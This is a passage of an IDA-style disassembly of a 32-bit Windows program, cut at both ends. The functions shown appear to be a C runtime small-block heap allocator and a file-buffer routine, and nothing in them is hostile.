[ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A2E0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A2D0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC904 nop call near ptr 2780000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A2D0 cmp esi, eax jnz short loc_41EA06 cmp off_43A2D0, 0 jnz short loc_41E9F6 mov off_43A2D0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A2D4, 0 jnz short loc_41EA1B mov off_43A2D4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A2D4 mov [esi+4], eax mov off_43A2D4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 2870596h loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A2D0 jz short loc_41EAB3 push esi push 0 push dword_4DC904 nop call near ptr 2770000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 2870596h cmp off_43C2F0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C2F0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A2D0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC904 call near ptr 2770000h nop pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A2E0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A2D4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call near ptr 2870596h nop test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB2F4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A2D4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A2D0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB2F4 cmp dword_4DB2F4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C2F0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C2F0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C2F0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A2D0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 2870698h nop cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C2F0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C2F0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC5C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C950 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short 